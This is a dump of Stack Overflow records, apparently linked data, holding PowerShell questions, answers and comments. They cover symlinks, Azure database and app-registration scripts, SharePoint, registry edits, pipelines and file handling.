has body: This is the part of a script which create symlinks in system folders depending on special names of the directory being parsed. $linkTarget = Join-Path -Path $folder["SystemFolder"] -ChildPath $subfolder.Name if (-not (Test-Path -Path $linkTarget)) { Create-Symlink -SourcePath $subfolder.FullName -TargetPath $linkTarget } else { Write-Host "$linkTarget already exists" -ForegroundColor Yellow } ($folder["SystemFolder"] is from the hashtable which associate my own "special names" with system folder paths.) For example, if the current folder name is "S:\MyStuff\_PData" and $subfolder.Name is "My Folder", the script will create a symlink "My Folder" in C:\ProgramData (so "C:\ProgramData\My Folder\" will be valid path, and will shows what's in "S:\MyStuff_PData\My Folder"). I'm am not a Powershell expert, and I've been able to check if the symlink $subfolder.Name already exists by "collecting" various samples and answers and learning from those. But I need also to check if the link is still valid (i mean: if it still points to $subfolder.Name), and "repair" it if not. How can i do this?
has answer: http://stackoverflow.com/a/79329982
accepted answer: http://stackoverflow.com/a/79329982
tagged with: symlink
tagged with: windows
type: Question
tagged with: powershell
answer count: 1
type: AnsweredQuestion
score: 0
has title: Windows Powershell: check if a symlink is "broken"

http://stackoverflow.com/comment/139765994
score: 1
type: Comment
has text: Nice, but it's not a _newline_ that is returned as the first element, is the _empty string_ that constitutes the first token, due to the separator regex matching at the very start of the input string.
comment on: http://stackoverflow.com/a/79259992
type: AnswerComment

http://stackoverflow.com/q/79278902
tagged with: powershell
answer count: 1
has comment: http://stackoverflow.com/comment/139799489
tagged with: c#
has comment: http://stackoverflow.com/comment/139811252
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/78236787
score: 0
has answer: http://stackoverflow.com/a/79284685
has body: Ok I have this script, it should be straightforward: # Load the Microsoft.AnalysisServices assembly from the NuGet package $amoPath = (Join-Path (Join-Path $env:USERPROFILE ".nuget\packages\microsoft.analysisservices.tabular") "13.0.2150.3\lib\Microsoft.AnalysisServices.Core.dll") Add-Type -Path $amoPath $amoPath = (Join-Path (Join-Path $env:USERPROFILE ".nuget\packages\microsoft.analysisservices.tabular") "13.0.2150.3\lib\Microsoft.AnalysisServices.Tabular.dll") Add-Type -Path $amoPath # Connect to the AAS instance $connectionString = "Provider=MSOLAP;DataSource=asazure://eastus.asazure.windows.net/myservernamehere;User ID=BlahBlah;Password=SuperSecretPassword;Persist Security Info=True;Impersonation Level=Impersonate;" $server = New-Object Microsoft.AnalysisServices.Tabular.Server $server.Connect($connectionString) # Delete all databases in the server foreach ($database in $server.Databases) { Write-Host "Deleting database: $($database.Name)" $database.Drop() } # Disconnect from the server $server.Disconnect() And of course it isn't: Exception calling "Connect" with "1" argument(s): "The connection string is not valid." $server.Connect($connectionString) CategoryInfo : NotSpecified: (:) [], MethodInvocationException FullyQualifiedErrorId : ConnectionException The funny part is I can do the same thing in C# with the same connection string, without any issues... using (Server server = new Server()) { server.Connect(serverConnectionString); // Collect databases to drop in a separate list List<Database> databasesToDrop = new List<Database>(); foreach (Database element in server.Databases) { databasesToDrop.Add(element); } databasesToDrop.AsParallel().ForAll(element => { element.Drop(); }); } I am at a lose for what the issue is, what is wrong with the connection string? I've tried messing around with different authentication methods, same issue really, works in c#, doesn't work in powershell...
linked to: http://stackoverflow.com/q/76469366
type: Question
tagged with: drop
tagged with: azure-analysis-services
tagged with: database
has title: Remove All Databases From Azure Analysis Server With PowerShell

boot
type: Tag
tag name: boot
tags question: http://stackoverflow.com/q/79276834

http://stackoverflow.com/comment/139804639
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79277115
has text: I'll give this a try after the weekend. To get them access for now I just setup standard Windows shares to the folder they needed. Would like to harness the correct way to do this to integrate this into builds and future setups easier, though. Will let you know what I find out!
type: QuestionComment

http://stackoverflow.com/comment/139760771
comment on: http://stackoverflow.com/q/79257011
has text: `$registryPath` should be `'HKLM:\SOFTWARE\WOW6432Node\OurC\Pricer\Application\ABCProxy'` or `'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\OurC\Pricer\Application\ABCProxy'` and why do you wrap the `New-ItemProperty` and `Get-ItemProperty` lines inside curly braces (to make them script blocks) ??
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/q/79391481
has comment: http://stackoverflow.com/comment/140008332
answer count: 1
has body: I have a pipeline that is set up as the following (please note this a skeleton pipeline, a lot of the steps have been removed) parameters: - name: environments displayName: Environments type: string default: dev values: - dev - test - prod variables: - name: environments value: "dev,test,prod" steps: - ${{ each environment in split(variables.environments, ',') }}: - task: AzurePowerShell@5 if("${{environment}}" -eq "dev"){ "Do stuff specific to dev" } if("${{environment}}" -eq "test"){ "Do stuff specific to test" } if("${{environment}}" -eq "prod"){ "Do stuff specific to prod" } My issue is that when my pipeline I get the following error: ##[error]The term 'prod' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. I would have thought that wrapping the "${{environment}}" in the quotes would be enough for the if check however it doesn't appear to be. Does anyone know how to fix this? Thanks
has comment: http://stackoverflow.com/comment/140010716
tagged with: azure-devops
has answer: http://stackoverflow.com/a/79392647
has comment: http://stackoverflow.com/comment/140008279
tagged with: azure-pipelines
tagged with: powershell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/140008292
score: 0
has title: Convert "Each" keyword loop entries to string in Azure DevOps Pipeline
has comment: http://stackoverflow.com/comment/140008423
type: Question
has comment: http://stackoverflow.com/comment/140009103

http://stackoverflow.com/comment/139751363
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79251748
score: 0
has text: https://community.spiceworks.com/t/powershell-script-cannot-convert-system-string-value-to-type-system-string/680387

http://stackoverflow.com/comment/139853031
type: AnswerComment
has text: Well I can't accept two answers at the same time unfortunately but for now I know that 1) My program doesn't work in UTF-BOM at all, and works in bomless utf8 in latin alphabet. But it doesn't work in bomless utf8 in cyrillic. 2) It works only in chcp 1251, which also corrupts cyrillic for the windows notebook only visually, but the program starts normally. It was the head pain for me not so long ago but for now its fascinating.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79308669

http://stackoverflow.com/q/79345015
type: UnansweredQuestion
tagged with: azure
has comment: http://stackoverflow.com/comment/139920811
tagged with: function
has body: (Powershell) When using the Azure Durable Function pattern fan out/fan in, all the data is consolidated in the "type": "orchestrationTrigger. What would be the place to use the "type": "mysql" binding to store the consolidated output to the database? The documentations states that no additional bindings should be configured at the orchestrationTrigger level type but rather at the activityTrigger type that is a subflow of the orchestration. Problem with this is that if the mysql binding is placed here, when one of the sub activities failes the data is partial written to the database. Is it better to use for example the Powershell module SimpleSQL and write the data to the MySQL database from the orchestration script where all the data is consolidated at the end? Regards, Peter
score: 0
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139921356
has comment: http://stackoverflow.com/comment/139921188
has comment: http://stackoverflow.com/comment/140084960
has title: Azure Durable Function Fan Out Fan In and MySQL binding how to use?
has comment: http://stackoverflow.com/comment/139921519
tagged with: mysql-connector
tagged with: powershell

http://stackoverflow.com/q/79249450
answer count: 1
tagged with: powershell
has body: I have folders with 100s of videos and I need to change the meta data on these videos. If I right click on one of the videos and go to properties and then details I can clear the meta data out of the title, comments, subtitle, tags, etc and hit apply and it clears the meta data within a split second. Everywhere I look online or try to search for a solution keeps pointing to ffmpeg and other apps that have to recode the entire video without the metadata on it which is completely pointless in my opinion when windows can literally do it within a split second. How do I automate the exact way windows explorer does it so that it takes a split second to change each video so I can do hundreds of them in just a few seconds or even a few minutes? Using apps like ffmpeg and others it's taking minutes to do each video which is taking way too long and it seems way unnecessary. Is there a way to do the same thing explorer is doing using maybe powershell, cmd, c# or something else? if I have to wait minutes for each video to process to remove metadata I'm better of just right clicking each video and editing properties myself since it will end in the end be faster that way. Surely if exploror can do it so fast there has to be a way to access the same exe, dll, etc that windows is using and do it automatically fast just like hitting apply after changing it manually. Any insight on how this could be done would be greatly appreciated. I'd like to just tell it a folder and have it search the folder and all subfolders for videos and remove the description metadata from the video files. title, subtitle, comment, tags, keywords, etc. thanks anyone for your help and replies. This is what I am trying to edit.
downvote count: 1
has comment: http://stackoverflow.com/comment/139747028
tagged with: c#
has title: How do I change video description metadata fast in windows 10?
type: UnansweredQuestion
upvote count: 1
favorite count: 0
score: 0
has comment: http://stackoverflow.com/comment/139747088
linked to: http://stackoverflow.com/q/9091
has comment: http://stackoverflow.com/comment/139746777
has comment: http://stackoverflow.com/comment/139748200
type: Question
has comment: http://stackoverflow.com/comment/139747234
linked to: http://stackoverflow.com/q/42536464
has answer: http://stackoverflow.com/a/79249805
tagged with: video

http://stackoverflow.com/q/79292153
tagged with: sharepoint-online
has title: PowerShell Error When Adding Multiple Doc Libraries to SharePoint Online
type: Question
answer count: 0
tagged with: powershell
score: 0
type: UnansweredQuestion
has body: all. I am new to PowerShell, but I'm trying to learn it to manage my SharePoint site. I thought this would be a good opportunity to try something new. I found a PowerShell script on the SharePoint Diary which adds multiple document libraries to a SharePoint online site, using a .csv template as reference; however, I get the following error message. Any help would be appreciated. Error: this is repeated for each library on the .csv file: Ensuring Document Library 'Team Docs' Error: Exception calling "ExecuteQuery" with "0" argument(s): "The remote server returned an error: (400) Bad Request." New-Object: Line | 72 | … edentials = New-Object Microsoft.SharePoint.Client.SharePointOnlineCr … | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | Exception calling ".ctor" with "2" argument(s): "The 'username' argument cannot be null. (Parameter 'username')" MethodInvocationException: Line | 77 | $Ctx.executeQuery() | ~~~~~~~~~~~~~~~~~~~ | Exception calling "ExecuteQuery" with "0" argument(s): "The remote server returned an error: (400) Bad Request." Script: My information removed >> Add-Type -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\ISAPI\Microsoft.SharePoint.Client.dll" >> Add-Type -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\ISAPI\Microsoft.SharePoint.Client.Runtime.dll" >> >> #Function to Create a SharePoint Online document library >> Function CreateSPO-DocumentLibrary() >> { >> [cmdletbinding()] >> param >> ( >> [Parameter(Mandatory=$True,ValueFromPipeline)] [String] $LibraryName, >> [Parameter(Mandatory=$False)] [String] $Description, >> [Parameter(Mandatory=$False)] [Switch] $ShowOnQuickLaunch >> ) >> Try { >> Write-host -f Yellow "`nEnsuring Document Library '$LibraryName'" >> >> #Get All Existing Lists from the web >> $Lists = $Web.Lists >> $Ctx.Load($Lists) >> $Ctx.ExecuteQuery() >> >> #Check if Library name doesn't exist already >> If(!($Lists.Title -contains $LibraryName)) >> { >> #S…

http://stackoverflow.com/q/79301292
has comment: http://stackoverflow.com/comment/139843172
score: 0
has answer: http://stackoverflow.com/a/79472970
has body: I am trying to get one of the properties (Batch date) of the SharePoint online document library file. I am getting below error Any suggestion on this please. Batch date is single line of text field having date value. Script: Error message: Get-PnPFile : The object specified does not belong to a list. At line:9 char:10 $File1 = Get-PnPFile -Url $FileRelativeURL -AsListItem ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CategoryInfo : WriteError: (:) [Get-PnPFile], ServerException FullyQualifiedErrorId : EXCEPTION,PnP.PowerShell.Commands.Files.GetFile Cannot index into a null array. At line:13 char:1 Write-Host $File1["Batch_x0020_Date"] + CategoryInfo : InvalidOperation: (:) [], RuntimeException + FullyQualifiedErrorId : NullArray
type: UnansweredQuestion
tagged with: sharepoint-online
has title: The object specified does not belong to a list - SharePoint Online PowerShell script
has comment: http://stackoverflow.com/comment/139842268
type: Question
tagged with: sharepoint
answer count: 1
tagged with: powershell
tagged with: powershell-2.0

http://stackoverflow.com/q/79349089
score: 1
upvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/79349129
has title: Powershell string array argument not working as intended when -File is used
has answer: http://stackoverflow.com/a/79349129
tagged with: command-line-arguments
downvote count: 0
tagged with: powershell
has body: I'm using a Powershell script that I found here: https://github.com/Simbiat/SnoozeGuard The works by passing a string array and intended, when run in the usual way: > C:\fullPathToSnoozeGuard.ps1 -requiresSystem 'arg1', 'arg2', 'arg3' Searching for "arg1"... Searching for "arg2"... Searching for "arg3"... No processes found Feeling sleepy But when run in using -File, it seems to not take the arguments as an array: > C:\fullPathToPowershell.exe -File C:\fullPathToSnoozeGuard.ps1 -requiresSystem 'arg1', 'arg2', 'arg3' C:\fullPathToSnoozeGuard.ps1 : Cannot process argument transformation on parameter 'pollingRate'. Cannot convert value "arg3" to type "System.Int32". Error: "Input string was not in a correct format." + CategoryInfo : InvalidData: (:) [SnoozeGuard.ps1], ParentContainsErrorRecordException + FullyQualifiedErrorId : ParameterArgumentTransformationError,SnoozeGuard.ps1 Why does the -File cause it to stop treating the arguments as an array? What do I need to change in regards to my command?
answer count: 1
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/57441095
linked to: http://stackoverflow.com/q/54240628

http://stackoverflow.com/q/79319936
has comment: http://stackoverflow.com/comment/139873351
type: Question
tagged with: git-clone
tagged with: github
answer count: 0
duplicate of: http://stackoverflow.com/q/21277806
tagged with: powershell
has comment: http://stackoverflow.com/comment/139873330
downvote count: 1
linked to: http://stackoverflow.com/q/9268378
score: 0
has title: I can't fork a big github repository using git
has comment: http://stackoverflow.com/comment/139873287
tagged with: git
type: UnansweredQuestion
has body: So basically I'm trying to clone the Zen Browser Desktop github repository to contribute to it, but I guess because it's too big I can't clone it. I tried to clone in the normal way, and I got the error: PS C:\Users\tom\OneDrive\Programming\Zen Browser> git clone https://github.com/zen-browser/desktop.git Cloning into 'desktop'... remote: Enumerating objects: 22835, done. remote: Counting objects: 100% (450/450), done. remote: Compressing objects: 100% (186/186), done. error: RPC failed; curl 92 HTTP/2 stream 5 was not closed cleanly: CANCEL (err 8) error: 7254 bytes of body are still expected fetch-pack: unexpected disconnect while reading sideband packet fatal: early EOF fatal: fetch-pack: invalid index-pack output I then looked at other stack overflow forums, and each time I tried a solution the "curl 92" came down: PS C:\Users\tom\OneDrive\Programming\Zen Browser> git clone https://github.com/zen-browser/desktop.git Cloning into 'desktop'... remote: Enumerating objects: 22835, done. remote: Counting objects: 100% (454/454), done. remote: Compressing objects: 100% (186/186), done. error: RPC failed; curl 56 OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 0 error: 5095 bytes of body are still expected fetch-pack: unexpected disconnect while reading sideband packet fatal: early EOF fatal: fetch-pack: invalid index-pack output PS C:\Users\ulyss\OneDrive\Programming\Zen Browser> git init Initialized empty Git repository in C:/Users/ulyss/OneDrive/Programming/Zen Browser/.git/ PS C:\Users\tom\OneDrive\Programming\Zen Browser> git config http.postBuffer 524288000 PS C:\Users\tom\OneDrive\Programming\Zen Browser> git clone https://github.com/zen-browser/desktop.git Cloning into 'desktop'... remote: Enumerating objects: 22835, done. remote: Counting objects: 100% (454/454), done. remote: Compressing objects: 100% (186/186), done. error: RPC failed; curl 18 transfer closed with outstanding read data remaining error: 3100 bytes of body are still expected fetch-pack: unexpected …
linked to: http://stackoverflow.com/q/21277806
has comment: http://stackoverflow.com/comment/139873338
has comment: http://stackoverflow.com/comment/139873268
upvote count: 1
favorite count: 0

http://stackoverflow.com/q/79265890
has title: How to access the class instance inside a powershell script block inside a method
type: UnansweredQuestion
score: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/79265961
downvote count: 0
answer count: 1
duplicate of: http://stackoverflow.com/q/70069820
tagged with: powershell
upvote count: 1
has body: So I am writing a WPF window with powershell using this code Add-Type -AssemblyName PresentationFramework class Window { [System.Windows.Window]$window [System.Windows.Controls.Button]$button [int]$count = 0 Window() { [xml]$xaml = @" <Grid.RowDefinitions> <RowDefinition Height="*"/> <RowDefinition Height="100"/> </Grid.RowDefinitions> <ListView x:Name="List" /> "@ $reader = [System.Xml.XmlNodeReader]::new($xaml) $this.window = [System.Windows.Markup.XamlReader]::Load($reader) $this.button = $this.window.FindName("AddButton") $this.button.Add_Click({ # How do I access this.window?? $this.window.FindName("List").Items.Add("Item" + ($this.count++).ToString()) }) $this.window.ShowDialog() } } $window = [Window]::new() How can I access this.window inside that Add_Click script block? This current code gives me Exception calling "ShowDialog" with "0" argument(s): "You cannot call a method on a null-valued expression." At line:33 char:9 And I can tell it's not because of ShowDialog(). That line should have been executed, otherwise there will be no window.
tagged with: wpf

http://stackoverflow.com/comment/139957918
type: Comment
has text: @SantiagoSquarzon, your comment led me to develop a solution that converts TSV host files to CSV, then processes that one a host by host basis. It's not exactly what the OP wanted, but it might be useful to some admins.
comment on: http://stackoverflow.com/q/79355571
score: 0
type: QuestionComment

http://stackoverflow.com/q/79334624
downvote count: 0
has title: PowerShell script to create a Registry key with logging not working
tagged with: registry
tagged with: powershell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139900565
has comment: http://stackoverflow.com/comment/139900738
score: 1
has comment: http://stackoverflow.com/comment/139903203
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139901517
type: Question
answer count: 0
tagged with: windows-11
has body: Hi all I am having some issues, and I am a beginner. I wrote a script that creates a registry value with logging. It gets stuck on -Type DWORD. I know the registry is a virtual drive, and check using Get-PSDrive. Can you advise what I am doing wrong? Thanks This is the error message: Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/6/2025 6:59 PM 0 System Registry key created: HKLM\Software\Microsoft\Windows\CurrentVersion\policies\System Error: A parameter cannot be found that matches parameter name 'PropertyType'. Script completed. Here is the script: # Define the directory path and log file name $directoryPath = "C:\setup" $logFileName = "install_registry_log.txt" $logFilePath = Join-Path -Path $directoryPath -ChildPath $logFileName # Check if the directory exists, if not, create it if (-not (Test-Path -Path $directoryPath)) { New-Item -Path $directoryPath -ItemType Directory Write-Host "Directory created at: $directoryPath" } else { Write-Host "Directory already exists: $directoryPath" } # Create or append to the log file if (-not (Test-Path -Path $logFilePath)) { # Create the log file and add a header New-Item -Path $logFilePath -ItemType File -Force Add-Content -Path $logFilePath -Value "Log started at: $(Get-Date)" Write-Host "Log file created: $logFilePath" } else { Write-Host "Log file already exists: $logFilePath" } # Define the registry key and value to be set $registryPath = "HKLM\Software\Microsoft\Windows\CurrentVersion\policies\System" $registryValueName = "DoNotDisplayLastUserName" # $registryValueData = "1" # Install registry key settings try { # Check if the registry key exists if (-not (Test-Path -Path $registryPath)) { # Create the registry key if it doesn't exist New-Item -Path $registryPath -Force Add-Content -Path $logFilePath -Value "Registry key created: $registryPath at $(Get-Date)" Write-Host "Registry key created: $registryPath" } # Set the registry value Set-ItemProperty -Path $registryPath -Name $registryValueName …

http://stackoverflow.com/a/79345489
has body: You need to load the existing json data first (checking it exists of course), so that you can update it. Shortened example: $json = Get-Content $jsonFilePath $data = $json | ConvertFrom-Json if ($environment -eq "PreProduction") { $data.preprod.Project="whatever updated you want" } $json = $data | ConvertTo-Json -Depth 10 $json | Out-File -FilePath $jsonFilePath -Encoding utf8 Good luck.
answers question: http://stackoverflow.com/q/79340316
type: Answer
score: 0

http://stackoverflow.com/comment/139902177
has text: Check if my below provided answer helps.
type: QuestionComment
comment on: http://stackoverflow.com/q/79333188
type: Comment
score: 0

http://stackoverflow.com/comment/139746423
type: AnswerComment
comment on: http://stackoverflow.com/a/79248980
type: Comment
has text: _"And btw, your current "solution" also does the same to a job, the clean block fails to run."_ Indeed, the job is unaffected and just continues running. I think that's arguably the preferable behavior since they're a job and, ostensibly, should be stopped by whichever of the PowerShell instances is the parent. For that matter, I don't see a reason to register such an event in a job in the first place.
score: 0

http://stackoverflow.com/a/79289560
answers question: http://stackoverflow.com/q/79286119
score: 0
has body: You can improve your script's performance by returning a single string from it, you need to consider that Get-Content by itself, without -Raw is already inefficient as it will wrap each line in a PSObject and then will attach properties to each line (PSPath, PSParentPath, PSChildName, etc). Then you need to consider that Invoke-Command will also do something similar, for each line it will attach more properties (PSComputerName, RunspaceId, PSShowComputerName, etc) making it even more inefficient. Then you need to consider the cost of transporting these object, it is more efficient to transport a single big string than a thousand little strings, so what you can do is: $result = Invoke-Command -ComputerName 'computername' -ScriptBlock { [System.Text.StringBuilder]::new(). AppendLine("$(Get-Date) vor"). Append((Get-Content 'G:\test.log' -Raw)). AppendLine("$(Get-Date) nach"). ToString() } Creating a single string should more efficient in this case, then if you need to convert it into an array locally you can use -split, i.e.: $stringArray = $result -split '\r?\n' $stringArray[0] # start time, result of `"$(Get-Date) vor"` $stringArray[-1] # end time, result of `"$(Get-Date) nach"`
type: Answer

http://stackoverflow.com/a/79396362
type: Answer
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/140021067
has body: Although it seems these are not complete files (fragments of a larger download perhaps), the main issue with your code is that you need to use a scriptblock on the -NewName parameter in order to use the $_ automatic variable as sirtao already showed in his answer. But also, beware that piping files directly from Get-ChildItem into the Rename-Item cmdlet may result in trying to rename files that already have been renamed. To prevent that from happening, enclose the Get-ChildItem part of the code in brackets so it will enumerate the files to fetch completely before sending them through the pipe to rename them. (Get-ChildItem -Filter '*.part-frag*' -File) | Rename-Item -NewName { '{0}.png' -f $_.Name } or first capture the enumerated files in a variable and use that to rename the files $fragFiles = Get-ChildItem -Filter '*.part-frag*' -File $fragFiles | Rename-Item -NewName { '{0}.png' -f $_.Name }
has comment: http://stackoverflow.com/comment/140018126
has comment: http://stackoverflow.com/comment/140018463
answers question: http://stackoverflow.com/q/79396258
downvote count: 0

http://stackoverflow.com/q/79320969
linked to: http://stackoverflow.com/q/53673516
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139905284
linked to: http://stackoverflow.com/q/62665491
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139876451
has comment: http://stackoverflow.com/comment/139892830
tagged with: azure-application-registration
has comment: http://stackoverflow.com/comment/139876989
tagged with: azure-cli
has comment: http://stackoverflow.com/comment/139905239
has body: I have now for a couple of days tried to expose an api on an app registration through az cli, however with no success. I have so far ended with the following: $clientid=$(az ad app create --display-name ${appregname} --query appId --output tsv) az ad app permission add --id $clientid --api 00000003-0000-0000-c000-000000000000 --api-permissions e1fe6dd8-ba31-4d61-89e7-88639da4683d=Scope az ad app update --id $clientid --identifier-uris "api://$clientid" az ad sp create --id $clientid --output tsv az ad app update --id $clientid --set api=@api.json This is based on many guide and links - to highlight a few I have tried to follow: How to create scope using Azure CLI (az ad app) https://learn.microsoft.com/en-us/azure/healthcare-apis/register-application-cli-rest How to create scope using Azure CLI (az ad app) But in all cases and my tries I get errors: property not part of schema missing option in identifier-URL’s Ressource not defined I cannot seem to get an understanding of why, I want to achieve app registrations as explained here: https://intility.github.io/fastapi-azure-auth/single-tenant/azure_setup After click up and comparing manifests with scripted app services I get two areas not looking the same: api servicePrincipalLockConfiguration For this I tried the above mentioned links with no success how do I configure api and servicePrincipalLockConfiguration when Az ad app update —-id <id> —set and Az ad sp update —-id <id> —set fails in the above cases? Update It seems like the root cause is that I cannot add the 'Microsoft Azure CLI' to the tenant I have. Despite using name or the id 04b07795-8ddb-461a-bbee-02f9e1bf7b46, I cannot find it in the entra tenant: FINALLY with a lot of help it finally worked, being global admin to insert the application with az ad sp create --id 04b07795-8ddb-461a-bbee-02f9e1bf7b46 and Microsoft Azure CLI showed up in the tenant and now everything works!
has comment: http://stackoverflow.com/comment/139890249
upvote count: 1
has comment: http://stackoverflow.com/comment/139890337
has comment: http://stackoverflow.com/comment/139876627
accepted answer: http://stackoverflow.com/a/79326188
has comment: http://stackoverflow.com/comment/139892858
tagged with: microsoft-entra-id
has comment: http://stackoverflow.com/comment/139905312
score: 1
has answer: http://stackoverflow.com/a/79326188
has title: Expose api on an app registration using a script
has comment: http://stackoverflow.com/comment/139905343
favorite count: 0
tagged with: azure-entra-id
has comment: http://stackoverflow.com/comment/139903104
type: Question
has comment: http://stackoverflow.com/comment/139892871
has comment: http://stackoverflow.com/comment/139905273
answer count: 1
has comment: http://stackoverflow.com/comment/139905291
has comment: http://stackoverflow.com/comment/139892878

http://stackoverflow.com/a/79295367
has comment: http://stackoverflow.com/comment/139829505
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139829533
answers question: http://stackoverflow.com/q/79295280
has body: The best single wildcard pattern you can use is probably *.m[kp][v4] but you must use -Include if you want that pattern to work, and even then it will fail in some cases, i.e.: $wildcard = '*.m[kp][v4]' 'foo.mp4' -like $wildcard # True, OK 'foo.mkv' -like $wildcard # True, OK 'foo.mpv' -like $wildcard # True, Wrong 'foo.mk4' -like $wildcard # True, Wrong 'foo.mXX' -like $wildcard # False, OK -Include uses WildcardPattern for matching (same as -like in above example), this class offers a wider range of wildcard characters than -Filter which only supports ? and *. The parameter also takes an array of patterns, so you can simply do: Get-ChildItem -Path c:\temp\* -File -Include *.mp4, *.mkv
accepted answer of: http://stackoverflow.com/q/79295280
score: 5
upvote count: 5
type: AcceptedAnswer

http://stackoverflow.com/comment/139935361
score: 0
comment on: http://stackoverflow.com/q/79352193
type: QuestionComment
type: Comment
has text: yes, the older version of Az.Accounts solves the problem but then I get other problems because of other modules that require a more recent version of Az.Accounts. Using the suggested 'Enable-AzureRmAlias -Scope Process -ErrorAction SilentlyContinue' does also not work as I get the same error as for Connect-AzAccount

http://stackoverflow.com/a/79318620
type: Answer
has body: Add the advanced function to a custom script module Your problem is that importing modules from a module scopes these imports to that module (i.e. makes them only visible only there), whereas in your case you want the module to be imported into the caller's scope (which is in the non-module scope domain ("session state") when calling from outside a module).[1] A simple workaround is to add -Global to your Import-Module calls (which, as the name suggests, imports the module globally, i.e. across all scope domains, which is also what happens by default when calling Import-Module from the non-module scope domain). [1] For more information about PowerShell scope domains ("session states"), see this answer.
has comment: http://stackoverflow.com/comment/139871454
answers question: http://stackoverflow.com/q/79318169
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79318169
score: 2
upvote count: 2

http://stackoverflow.com/a/79288500
has comment: http://stackoverflow.com/comment/139822037
accepted answer of: http://stackoverflow.com/q/79288185
has body: NEW ANSWER 2024-12-18 I basically rewrote half the code lol. Now it's quite commented on why and how. It should be easy to understand. ## mark my specific comments. I stand my opinion that making the HTML template its own file would make this script much easier on eyes. # Set your warning and critical thresholds $percentWarning = 90; #wildly increased for testing critical threshold $percentCritcal = 95; #wildly increased for testing # REPORT PROPERTIES # Path to the report $reportPath = 'C:\scripts\diskspace\Report\' ## Renamed for clarity of content. ## Also it's now a DateTime object so you can use it instead of calling the function multiple times. $CurrentDate = Get-Date #-Format 'MM-dd-yyyy_HHmmss' # Report name ## Restructured to use the variable instead of calling again the cmdlet. $reportName = 'DiskSpaceRpt_{0}.html' -f $CurrentDate.ToString('ddMMyyy') # Path and Report name together ## Renamed for clarity of content. ## Used $DiskReportPath = Join-Path -Path $reportPath -ChildPath $reportName ## If the file doesn't exist, creates it(and its directory ). ## If the file does exist, overwrites it. ## In both cases, save the link to the file as a FileInfo object to reuse it. $DiskReportFile = New-Item -ItemType File -Path $DiskReportPath -Force # Count if any computers have low disk space. Do not send report if less than 1. ## Removed because we can use a calculated value later # $NumberLowSpaceComputers = 0 # Get computer list to check disk space ## Renamed for clarity of content. ## Also force-casted into a String Array, also for clarity. [string[]]$ComputersArray = Get-Content 'C:\scripts\diskspace\servers.txt' # Cleanup old files.. $Daysback = '-7' $DateToDelete = $CurrentDate.AddDays($Daysback) ## Evaluate adding the parameters -File to Get-ChildItem if you are not intersted in deleting the directories. ## If you ARE interested in deleting the directories, I suggest to add the parameter -Recourse to Remove-Item. ## If you are making a simple comparison of …
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139821724
has comment: http://stackoverflow.com/comment/139817032
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139821823
downvote count: 0
has comment: http://stackoverflow.com/comment/139820722
has comment: http://stackoverflow.com/comment/139816986
has comment: http://stackoverflow.com/comment/139822243
type: Answer
has comment: http://stackoverflow.com/comment/139821796
has comment: http://stackoverflow.com/comment/139822090
answers question: http://stackoverflow.com/q/79288185

http://stackoverflow.com/comment/139766093
score: 1
has text: @mklement0 Oh I see, thank you for clarifying
comment on: http://stackoverflow.com/a/79259992
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139852435
type: AnswerComment
comment on: http://stackoverflow.com/a/79307730
has text: Thus, @VerityFreedom, I'm not sure what the ultimate resolution is in your case, but, given that this answer addresses your question _as asked_, note that you can help future readers by clearly signaling that fact - if applicable - by [accepting](https://meta.stackexchange.com/a/5235/248777) it.
type: Comment
score: 0

wifi
tags question: http://stackoverflow.com/q/79277790
tag name: wifi
type: Tag

http://stackoverflow.com/comment/139853723
comment on: http://stackoverflow.com/a/79308669
type: AnswerComment
has text: Beware though that this does not check the file for actually having a 3-byte UTF-8 BOM, so if you happen to use this on a file in a different encoding you will most probably end up with an unreadable file..
type: Comment
score: 1

http://stackoverflow.com/comment/139940651
type: Comment
has text: Glad to hear it helped, @Zenin0. It's a subtle problem, because it only surfaces situationally. I wish that `Start-Process` fell back to something like `C:\Windows\System32` instead of failing outright.
comment on: http://stackoverflow.com/a/79353165
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139947105
has text: @Ooker: Store `$_.Split(':')[0]` in a variable, then enclose your `git diff` call in an [`if` statement](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_If) that tests that variable for not containing the file to exclude.
type: AnswerComment
comment on: http://stackoverflow.com/a/79356494
type: Comment
score: 0

http://stackoverflow.com/a/79360276
